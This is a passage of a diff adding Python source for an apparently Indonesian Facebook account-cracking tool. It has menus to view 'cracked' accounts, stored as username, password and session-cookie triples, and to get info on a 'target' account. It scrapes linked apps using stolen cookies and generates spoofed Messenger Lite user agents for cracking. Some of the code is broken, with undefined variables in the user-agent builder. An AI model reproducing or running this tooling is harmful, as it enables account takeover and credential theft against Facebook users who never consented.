+ post = ses.post("https://mbasic.facebook.com"+action,data=data,cookies={"cookie": cookie}) + break + except:pass + + ###----------[ APLIKASI AKTIF ]---------- ### + aktip = Tree("Aplikasi Aktif",guide_style="bold grey100") + self.apkaktif("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookie) + if len(self.aktif)==0: + aktip.add(f"{P2}tidak ada aplikasi yang terkait") + else: + for apk in self.aktif: + aktip.add(f"{H2}{apk}{P2}") + + ###----------[ APLIKASI KADALUWARSA ]---------- ### + kadalu = Tree("Aplikasi Kadaluwarsa",guide_style="bold grey100") + self.apkkadaluwarsa("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookie) + if len(self.kadaluwarsa)==0: + kadalu.add(f"{P2}tidak ada aplikasi yang terkait") + else: + for apk in self.kadaluwarsa: + kadalu.add(f"{M2}{apk}{P2}") + + ###----------[ PRINT SEMUA ]---------- ### + tree = Tree(Panel.fit(f"""{H2}{user}|{pw}{P2}""",style=f"{color_panel}"),guide_style="bold grey100") + tree.add(aktip) + tree.add(kadalu) + tree.add(Panel(f"{H2}{cookie}{P2}",style=f"{color_panel}")) + prints(tree) + + ###----------[ GET APK AKTIF ]---------- ### + def apkaktif(self,url,cookie): + try: + data = parser(ses.get(url,cookies={"cookie": cookie}).text,"html.parser") + for apk in data.find_all("h3"): + if "Ditambahkan" in apk.text: + self.aktif.append(f"{str(apk.text).replace('Ditambahkan',' Ditambahkan')}") + else:continue + next = "https://mbasic.facebook.com"+data.find("a",string="Lihat Lainnya")["href"] + self.apkaktif(next,cookie) + except:pass + + ###----------[ GET APK KADALUWARSA ]---------- ### + def apkkadaluwarsa(self,url,cookie): + try: + data = parser(ses.get(url,cookies={"cookie": cookie}).text,"html.parser") + for apk in data.find_all("h3"): + if "Kedaluwarsa" in apk.text: + self.kadaluwarsa.append(f"{str(apk.text).replace('Kedaluwarsa',' Kedaluwarsa')}") + else:continue + next = "https://mbasic.facebook.com"+data.find("a",string="Lihat Lainnya")["href"] + self.apkkadaluwarsa(next,cookie) + except:pass + +###----------[ MENU LAIN ]---------- ### +class Lain: + + ###----------[ FUNCTION INIT ]---------- ### + def __init__(self,cookie): + self.cookie = cookie + self.file = [] + self.listfile = [] + + ###----------[ MENU ]---------- ### + def menu(self): + prints(Panel(f"""{P2}[{color_text}01{P2}]. lihat akun hasil crack [{color_text}04{P2}]. ganti warna tema tools +[{color_text}02{P2}]. get info akun target [{color_text}05{P2}]. tampilkan info cookies +[{color_text}03{P2}]. setting user agent [{color_text}06{P2}]. logout ({M2}hapus login{P2})""",width=80,padding=(0,7),style=f"{color_panel}")) + menu = console.input(f" {H2}• {P2}pilih menu : ") + if menu in["01","1"]: + self.cek_hasil() + elif menu in["04","4"]: + self.ganti_tema() + elif menu in["05","5"]: + self.tampil_cookie() + elif menu in["06","6"]: + os.system("rm data/cookie") + exit(prints(Panel(f"""{H2}berhasil menghapus cookie, silahkan ketik ulang python run.py""",width=80,style=f"{color_panel}"))) + else: + exit(prints(Panel(f"""{M2}🙏 maaf fitur ini belum tersedia, silahkan menunggu update selanjutnya""",width=80,style=f"{color_panel}"))) + + ###----------[ CEK HASIL CRACK ]---------- ### + def cek_hasil(self): + prints(Panel(f"""{P2}[{color_text}01{P2}]. lihat akun hasil crack ok +[{color_text}02{P2}]. lihat akun hasil crack cp""",width=80,padding=(0,20),style=f"{color_panel}")) + ask = console.input(f" {H2}• {P2}masukan pilihan : ") + if ask in["1","01"]:folder = "OK" + else:folder = "CP" + + ###----------[ PILIH FILE ]---------- ### + dirs = os.listdir(folder) + prints(Panel(f"""{P2} berhasil menemukan {len(dirs)} file hasil crack ok""",width=80,padding=(0,15),style=f"{color_panel}")) + num = 0 + for fil in dirs: + num += 1 + self.file.append(fil) + totalakun = open(f"{folder}/{fil}","r").read().splitlines() + self.listfile.append(Panel(f"{K2}[{color_text}0{num}{P2}]",width=10,title=f"{P2}nomer",style=f"{color_panel}")) + self.listfile.append(Panel(f"{K2}{fil}",width=35,title=f"{P2}tanggal",style=f"{color_panel}")) + self.listfile.append(Panel(f"{K2}{len(totalakun)} akun",width=28,title=f"{P2}total akun",style=f"{color_panel}")) + console.print(Columns(self.listfile)) + prints(Panel(f"""{K2}kamu hanya perlu memilih dan memasukan nomer dari file crack di atas""",width=80,style=f"{color_panel}")) + result = console.input(f" {H2}• {K2}masukan angka : ") + + ###----------[ MULAI CEK ]---------- ### + try: + files = self.file[int(result)-1] + totalhasil = open(f"{folder}/{files}","r").read().splitlines() + except: + prints(Panel(f"""{M2}file yang anda masukan tidak tersedia atau input kamu tidak benar""",width=80,style=f"{color_panel}")) + exit() + nama_file = (f"{files}").replace("-", " ").replace(".txt", "") + prints(Panel(f"""{P2}nama file hasil crack : {nama_file} dan terdapat total akun : {len(totalhasil)}""",width=80,style=f"{color_panel}")) + for akun in totalhasil: + user = akun.split("|")[0] + pw = akun.split("|")[1] + tree = Tree(" ",guide_style=f"{color_panel}") + if folder=="OK": + cookie = akun.split("|")[2] + tree.add(f"\r{H2}{user}|{pw}{P2} ") + tree.add(Panel(f"{H2}{cookie}{P2}",style=f"{color_panel}")) + else: + tree.add(f"\r{K2}{user}|{pw}{P2} ") + prints(tree) + prints(Panel(f"""{P2} berhasil mengecek dan mendapatkan total {len(totalhasil)} akun dari file""",width=80,padding=(0,7),style=f"{color_panel}")) + exit() + + ###----------[ GANTI WARNA TEMA ]---------- ### + def ganti_tema(self): + prints(Panel(f"""{P2}[{color_text}01{P2}]. ganti warna tema merah [{color_text}06{P2}]. ganti warna tema pink +[{color_text}02{P2}]. ganti warna tema hijau [{color_text}07{P2}]. ganti warna tema cyan +[{color_text}03{P2}]. ganti warna tema kuning [{color_text}08{P2}]. ganti warna tema putih +[{color_text}04{P2}]. ganti warna tema biru [{color_text}09{P2}]. ganti warna tema orange +[{color_text}05{P2}]. ganti warna tema ungu [{color_text}10{P2}]. ganti warna tema abu2""",width=80,padding=(0,7),style=f"{color_panel}")) + ask = console.input(f" {H2}• {P2}pilih tema : ") + if ask in["01","1"]:warna = "[#FF0000]";teks="merah" + elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau" + elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning" + elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru" + elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu" + elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink" + elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan" + elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih" + elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange" + elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu" + open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]","")) + prints(Panel(f"""{H2}berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=80,padding=(0,6),style=f"{color_panel}")) + sys.exit() + + + ###----------[ TAMPILKAN COOKIE ]---------- ### + def tampil_cookie(self): + now = datetime.now() + hari = now.day+int(30) + if hari > 30:hari = hari-30 + bulan = now.month+1 + if bulan > 12:bulan = bulan-12 + if now.month+1 > 12:tahun = now.year+1 + data = date(year=tahun,month=bulan,day=hari) + aktif = data.strftime("%d %B %Y") + console.print(f" {H2}• {P2}aktif sampai : {aktif}") + prints(Panel(f"""{H2}{self.cookie.get('cookie')}""",width=80,style=f"{color_panel}")) + sys.exit() + +###----------[ BAGIAN SESSION HEADERS DAN USER AGENT ]---------- ### +class Session: + + ###----------[ GENERATE USER AGENT CRACK ]---------- ### + def generate_ugent(self): + versi_android = random.randint(4,12) + versi_chrome = str(random.randint(300,325))+".0.0."+str(random.randint(1,8))+"."+str(random.randint(40,150)) + versi_app = random.randint(410000000,499999999) + device = random.choice(["VOG-L29 Build/HUAWEIVOG-L29","STK-LX3 Build/HUAWEISTK-LX3","BTV-W09 Build/HUAWEIBEETHOVEN-W09","CLT-AL00 Build/HUAWEICLT-AL00","LYA-AL10 Build/HUAWEILYA-AL10","ELE-L29 Build/HUAWEIELE-L29","DIG-AL00 Build/HUAWEIDIG-AL00","EVA-L09 Build/HUAWEIEVA-L09"]) + density = random.choice(["{density=3.0,width=1080,height=1920}","{density=2.0,width=720,height=1412}","{density=1.5, width=480, height=800}"]) + ugent = f"Davik/2.1.0 (Linux; U; Android {android_version}; {model_device} Build/{build_device}) [FBAN/MessengerLite;FBAV/{versi_chrome};FBPN/com.facebook.mlite;FBLC/{language};FBBV/{versi_app};FBCR/{simcard};FBMF/{merk_device};FBBD/{brand_device};FBDV/{model_device};FBSV/{android_version};FBCA/{cpu_device};FBDM/"+str(large_device)+";]" + return ugent + +if __name__=="__main__": + try:os.mkdir("OK") + except:pass + try:os.mkdir("CP") + except:pass + try:os.mkdir("data") + except:pass + Menu().menu() +#Gunakan Facebook dalam mode dasar dengan Trii +